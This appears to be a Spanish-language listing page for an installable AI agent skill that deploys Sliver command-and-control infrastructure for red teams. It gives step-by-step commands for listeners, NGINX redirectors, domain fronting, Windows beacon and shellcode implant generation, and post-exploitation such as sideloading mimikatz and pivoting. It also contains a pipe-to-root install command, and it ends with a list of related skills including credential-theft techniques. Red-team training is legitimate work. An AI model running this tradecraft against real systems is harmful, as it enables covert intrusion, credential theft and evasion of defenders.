Communitygithub.com

Construcción de Infraestructura C2 con Sliver Framework

Despliega y fortifica un servidor de equipo C2 de Sliver (BishopFox) con redireccionadores, dominio frontal y canales C2 de múltiples protocolos.

¿Qué es Construcción de Infraestructura C2 con Sliver Framework?

Esta habilidad automatiza el despliegue y endurecimiento de una infraestructura de servidor de equipo C2 utilizando Sliver Framework, un marco de emulación de adversarios de código abierto escrito en Go. Es ideal para equipos rojos que necesitan canales C2 robustos y difíciles de detectar, con soporte para múltiples protocolos (mTLS, HTTP/S, DNS, WireGuard), modos de beacon y sesión, y funcionalidad multi-operador. Funciona en entornos Linux, macOS y Windows, y guía al usuario a través de fases como la provisión de VPS, configuración de oyentes, despliegue de redireccionadores (NGINX, Apache) y generación de payloads para plataformas objetivo (Windows, Linux). También proporciona operaciones posteriores a la explotación, mapeo MITRE ATT&CK y criterios de validación para garantizar una infraestructura C2 segura y operacionalmente resiliente.

Compatible con~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/building-c2-infrastructure-with-sliver-framework

Preguntar en tu IA favorita

Abre un nuevo chat con esta habilidad de agente ya precargada.

Documentación

¿Qué hace Construcción de Infraestructura C2 con Sliver Framework?

Resumen

Sliver es un marco de emulación de adversarios de código abierto y multiplataforma desarrollado por BishopFox, escrito en Go. Proporciona a los equipos rojos generación de implantes, canales C2 multiprotocolo (mTLS, HTTP/S, DNS, WireGuard), soporte multi-operador y extensas capacidades de post-explotación. Sliver admite modos beacon (asíncrono) y sesión (interactivo), lo que lo hace adecuado tanto para operaciones de larga duración como para explotación interactiva. Una infraestructura Sliver correctamente diseñada utiliza redireccionadores, dominio frontal y certificados HTTPS para mantener la resiliencia operativa y evitar la detección.

Cuándo Usar

  • Al desplegar o configurar capacidades de construcción de infraestructura C2 con el marco Sliver en su entorno.
  • Al establecer controles de seguridad alineados con los requisitos de cumplimiento.
  • Al construir o mejorar la arquitectura de seguridad para este dominio.
  • Al realizar evaluaciones de seguridad que requieran esta implementación.

Prerrequisitos

  • Familiaridad con conceptos y herramientas de equipo rojo.
  • Acceso a un entorno de prueba o laboratorio para una ejecución segura.
  • Python 3.8+ con las dependencias necesarias instaladas.
  • Autorización adecuada para cualquier actividad de prueba.

Objetivos

  • Desplegar un servidor de equipo Sliver en infraestructura en la nube endurecida.
  • Configurar oyentes HTTPS, mTLS, DNS y WireGuard.
  • Generar implantes (beacons y sesiones) para plataformas objetivo.
  • Configurar redireccionadores NGINX o Apache entre los implantes y el servidor de equipo.
  • Implementar dominio frontal basado en Cloudflare o CDN para ofuscar el tráfico.
  • Configurar acceso multi-operador con autenticación basada en certificados.
  • Establecer controles de seguridad operacional para las comunicaciones C2.

Mapeo MITRE ATT&CK

  • T1071.001 - Protocolo de Capa de Aplicación: Protocolos Web
  • T1071.004 - Protocolo de Capa de Aplicación: DNS
  • T1573.002 - Canal Cifrado: Criptografía Asimétrica
  • T1090.002 - Proxy: Proxy Externo (Redireccionadores)
  • T1105 - Transferencia de Herramientas de Ingreso
  • T1132.001 - Codificación de Datos: Codificación Estándar
  • T1572 - Tunelización de Protocolos

Flujo de Trabajo

Fase 1: Despliegue del Servidor de Equipo

  1. Aprovisionar un VPS (ej., DigitalOcean, Linode, AWS EC2) para el servidor de equipo.
  2. Endurecer el SO: deshabilitar la autenticación por contraseña SSH, configurar UFW/iptables, instalar fail2ban.
  3. Instalar Sliver usando el script de instalación oficial:
    curl https://sliver.sh/install | sudo bash
    
  4. Iniciar el demonio del servidor Sliver:
    systemctl start sliver
    # O ejecutar interactivamente
    sliver-server
    
  5. Generar archivos de configuración de operador para miembros del equipo:
    new-operator --name operador1 --lhost <ip-servidor-equipo>
    

Fase 2: Configuración de Oyentes

  1. Configurar un oyente HTTPS con un certificado SSL legítimo:
    https --lhost 0.0.0.0 --lport 443 --dominio c2.ejemplo.com --cert /ruta/al/cert.pem --key /ruta/a/key.pem
    
  2. Configurar un oyente DNS como C2 de respaldo:
    dns --dominios c2dns.ejemplo.com --lport 53
    
  3. Configurar un oyente mTLS para sesiones de alta seguridad:
    mtls --lhost 0.0.0.0 --lport 8888
    
  4. Configurar un oyente WireGuard para acceso tunelizado:
    wg --lport 51820
    

Fase 3: Configuración de Redireccionador

  1. Desplegar un VPS separado como redireccionador (posicionado entre los objetivos y el servidor de equipo).
  2. Instalar y configurar NGINX como proxy inverso:
    server {
        listen 443 ssl;
        server_name c2.ejemplo.com;
        ssl_certificate /etc/letsencrypt/live/c2.ejemplo.com/fullchain.pem;
        ssl_certificate_key /etc/letsencrypt/live/c2.ejemplo.com/privkey.pem;
    
        location / {
            proxy_pass https://<ip-servidor-equipo>:443;
            proxy_ssl_verify off;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }
    
  3. Configurar reglas iptables en el servidor de equipo para aceptar solo conexiones del redireccionador:
    iptables -A INPUT -p tcp --dport 443 -s <ip-redireccionador> -j ACCEPT
    iptables -A INPUT -p tcp --dport 443 -j DROP
    
  4. Opcionalmente, configurar Cloudflare como capa CDN delante del redireccionador para dominio frontal.

Fase 4: Generación de Implantes

  1. Generar un implante beacon HTTPS:
    generate beacon --http https://c2.ejemplo.com --os windows --arch amd64 --format exe --name payload
    
  2. Generar un beacon DNS para redes restringidas:
    generate beacon --dns c2dns.ejemplo.com --os windows --arch amd64
    
  3. Generar un payload shellcode para inyección:
    generate --http https://c2.ejemplo.com --os windows --arch amd64 --format shellcode
    
  4. Configurar el intervalo de fluctuación y devolución de llamada del beacon:
    generate beacon --http https://c2.ejemplo.com --seconds 60 --jitter 30
    

Fase 5: Operaciones de Post-Explotación

  1. Interactuar con beacons/sesiones activos:
    beacons        # Listar beacons activos
    use <id-beacon> # Interactuar con un beacon
    
  2. Ejecutar módulos de post-explotación:
    ps              # Listado de procesos
    netstat         # Conexiones de red
    execute-assembly /ruta/a/Seatbelt.exe -group=all  # Ejecutar ensamblados .NET
    sideload /ruta/a/mimikatz.dll  # Cargar DLLs
    
  3. Configurar pivotes para acceso a redes internas:
    pivots tcp --bind 0.0.0.0:9898  # Crear oyente de pivote en el host comprometido
    
  4. Usar BOF (Beacon Object Files) para ejecución en memoria:
    armory install sa-ldapsearch   # Instalar desde armory
    sa-ldapsearch -- "(objectClass=user)"  # Ejecutar BOF
    

Herramientas y Recursos

HerramientaPropósitoPlataforma
Servidor SliverServidor de equipo C2 y gestión de implantesLinux/macOS/Windows
Cliente SliverConsola de operador para miembros del equipoMultiplataforma
NGINXRedireccionador y proxy inversoLinux
CertbotGeneración de certificados SSL de Let's EncryptLinux
CloudflareCDN y dominio frontalNube
ArmoryGestor de paquetes de extensiones/BOF de SliverIntegrado

Firmas de Detección

IndicadorMétodo de Detección
Cabeceras HTTP predeterminadas de SliverAnálisis de tráfico de red para cadenas User-Agent inusuales
mTLS en puertos no estándarRegistros de firewall para conexiones salientes a puertos inusuales
Consultas de registros TXT DNS con alta entropíaAnálisis de registros DNS para tráfico C2 codificado
Tráfico UDP WireGuard en el puerto 51820Análisis de flujo de red para patrones de handshake WireGuard
Hashes de archivos de implantes SliverCoincidencia de firmas de EDR/AV contra muestras conocidas de Sliver

Criterios de Validación

  • Servidor de equipo desplegado y endurecido con reglas de firewall.
  • Oyente HTTPS configurado con certificado SSL válido.
  • Oyente DNS configurado como canal C2 de respaldo.
  • Al menos un redireccionador desplegado entre los objetivos y el servidor de equipo.
  • Acceso multi-operador configurado con certificados únicos.
  • Implantes generados para los sistemas operativos objetivo.
  • Intervalos de devolución de llamada y fluctuación de beacon configurados para sigilo.
  • Módulos de post-explotación probados (listado de procesos, ejecución de ensamblado .NET).
  • Funcionalidad de pivote validada para acceso a redes internas.
  • Todo el tráfico C2 cifrado y pasando a través de redireccionadores.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

Skills relacionados